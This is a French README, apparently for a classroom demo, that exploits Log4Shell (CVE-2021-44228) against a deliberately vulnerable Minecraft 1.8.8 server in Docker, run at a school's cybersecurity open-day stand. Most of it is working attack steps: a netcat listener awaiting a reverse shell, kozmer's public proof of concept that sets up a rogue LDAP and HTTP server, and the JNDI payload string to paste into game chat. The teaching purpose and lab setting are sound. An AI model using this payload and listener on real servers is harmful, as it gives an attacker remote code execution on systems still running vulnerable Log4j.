
Démo Minecraft de Log4Shell (CVE-2021-44228). Utilisé pour des salons éducatifs.
Cette démo est utilisée lors de salons éducatifs pour donner aux futurs étudiants un aperçu du département de cybersécurité de la HTL Villach et de la manière dont les applications du quotidien peuvent être exploitées.
Remarque : Cette démo utilise Minecraft 1.8.8 dans son intégralité.
L'attaquant dans ce scénario utilise la Preuve de Concept (PoC) de kozmer. https://github.com/kozmer/log4j-shell-poc Tout le crédit lui revient. Remarque : Toutes les commandes doivent être exécutées dans le répertoire attacker/
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, et se trouver dans le même répertoire.$ python3 poc.py --userip <ip du docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Dépôt Github : https://github.com/kozmer/log4j-shell-poc
[+] Classe Java de l'exploit créée avec succès
[+] Mise en place du faux serveur LDAP
[+] Envoyez-moi : ${jndi:ldap://<ip du docker-host>:1389/a}
Écoute sur 0.0.0.0:1389
Ce script configurera le serveur HTTP et le serveur LDAP pour vous, et créera également la charge utile que vous pourrez coller dans le paramètre vulnérable. Ensuite, si tout se passe bien, vous devriez obtenir un shell sur le port lport.
Sur l'instance victime, nous utilisons une version obsolète et donc vulnérable de JDK (jdk1.8.0_20).
Pour faire fonctionner notre serveur Minecraft, nous devons construire notre image Docker et l'exécuter.
Remarque : Pour une construction réussie, vous devez obtenir votre propre copie du serveur Minecraft Vanilla 1.8.8 (ne peut pas être partagé en raison de l'EULA de Mojang) Une source possible est MCVERSIONS.NET
Après avoir obtenu le fichier, enregistrez-le dans victim/ sous le nom server.jar
cd target/
docker build target/ -t minecraft-demo
Exécutez le serveur Minecraft vulnérable que nous venons de construire avec docker
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
Il est probable que votre conteneur se bloque ou reste bloqué après l'exploitation. Dans ce cas, vous pouvez le tuer avec la commande suivante :
docker kill vulnerable-server
Pour exploiter la vulnérabilité, envoyez simplement la chaîne fournie par poc.py dans le chat du jeu.
${jndi:ldap://<ip du docker-host>:1389/a}
